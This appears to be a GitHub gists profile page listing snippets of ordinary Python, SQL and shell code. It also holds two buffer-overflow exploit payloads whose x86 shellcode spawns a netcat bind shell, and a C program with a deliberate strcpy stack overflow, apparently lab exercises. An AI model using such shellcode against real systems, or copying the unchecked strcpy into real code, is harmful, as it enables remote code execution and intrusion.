Skip to content

Instantly share code, notes, and snippets.

View mvidalgarcia's full-sized avatar
🐛
Feeding bugs

Marco Vidal García mvidalgarcia

🐛
Feeding bugs
View GitHub Profile
@mvidalgarcia
mvidalgarcia / python-pil-image-sprite.py
Created July 18, 2018 13:24 — forked from gourneau/python-pil-image-sprite.py
Make sprites of images using Python and PIL
#!/usr/bin/python
# This work is licensed under the Creative Commons Attribution 3.0 United
# States License. To view a copy of this license, visit
# http://creativecommons.org/licenses/by/3.0/us/ or send a letter to Creative
# Commons, 171 Second Street, Suite 300, San Francisco, California, 94105, USA.
# from http://oranlooney.com/make-css-sprites-python-image-library/
# Orignial Author Oran Looney <olooney@gmail.com>
from timeit import default_timer as timer
from flask import Flask
from flask_sqlalchemy import SQLAlchemy
from sqlalchemy.orm import joinedload
app = Flask(__name__)
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
app.config['SQLALCHEMY_DATABASE_URI'] = 'postgresql:///test'
db = SQLAlchemy(app)
# ConfigMaps
spec:
containers:
- env:
volumeMounts:
- mountPath: /cephalopod/settings
name: settings-volume
# ...
@mvidalgarcia
mvidalgarcia / regform_fix.py
Last active April 26, 2017 08:05 — forked from pferreir/regform_fix.py
regform_fix.py
from sqlalchemy.orm.attributes import flag_modified
import uuid
lst = []
for reg_item in RegistrationFormItem.find(input_type='accommodation', is_deleted=False):
choice_id = unicode(uuid.uuid4())
needs_caption = False
for rffd in RegistrationFormFieldData.find(field_id=reg_item.id):
SET search_path = event_paper_reviewing, pg_catalog;
CREATE SEQUENCE paper_review_questions_id_seq
START WITH 1
INCREMENT BY 1
NO MAXVALUE
NO MINVALUE
CACHE 1;
CREATE SEQUENCE paper_review_ratings_id_seq
def adjust_url(url):
"""
Add 'http://' protocol to url string
:param url: Input url
:return: Proper formatted url
"""
if url[:4] != 'http':
url = 'http://' + url
return url
@mvidalgarcia
mvidalgarcia / import_artists.sh
Last active March 1, 2016 15:28
Imports all artists/artworks from Tate collection (https://github.com/tategallery/collection) dataset to a mongodb database.
# First place in the artists directory
cd collection-master/artists
find * -type f | while read col; do
mongoimport -d tate -c artists --file $col;
done
nopsled = '\x90' * 64
# 64 bytes shellcode
shellcode = ('\x31\xc0\x31\xd2\x68\x33\x33\x37\x37\x68' +
'\x2d\x76\x70\x31\x89\xe2\x50\x68\x6e\x2f' +
'\x73\x68\x68\x65\x2f\x62\x69\x68\x2d\x6c' +
'\x76\x76\x89\xe1\x50\x68\x2f\x2f\x6e\x63' +
'\x68\x2f\x2f\x2f\x2f\x68\x2f\x62\x69\x6e' +
'\x89\xe3\x50\x52\x51\x53\x31\xd2\x89\xe1' +
'\xb0\x0b\xcd\x80')
padding = 'A' * (144 - 64 - 64)
#include <stdio.h>
#include <string.h>
void func(char *str)
{
char buffer[132]; /* adjust size of buffer to suit */
strcpy (buffer,str);
}
void main (int argc, char *argv[])
{
func(argv[1]);
nopsled = '\x90' * 32
# 64 bytes shellcode
shellcode = ('\x31\xc0\x31\xd2\x68\x33\x33\x37\x37\x68' +
'\x2d\x76\x70\x31\x89\xe2\x50\x68\x6e\x2f' +
'\x73\x68\x68\x65\x2f\x62\x69\x68\x2d\x6c' +
'\x76\x76\x89\xe1\x50\x68\x2f\x2f\x6e\x63' +
'\x68\x2f\x2f\x2f\x2f\x68\x2f\x62\x69\x6e' +
'\x89\xe3\x50\x52\x51\x53\x31\xd2\x89\xe1' +
'\xb0\x0b\xcd\x80')
padding = 'A' * (112 - 32 - 64)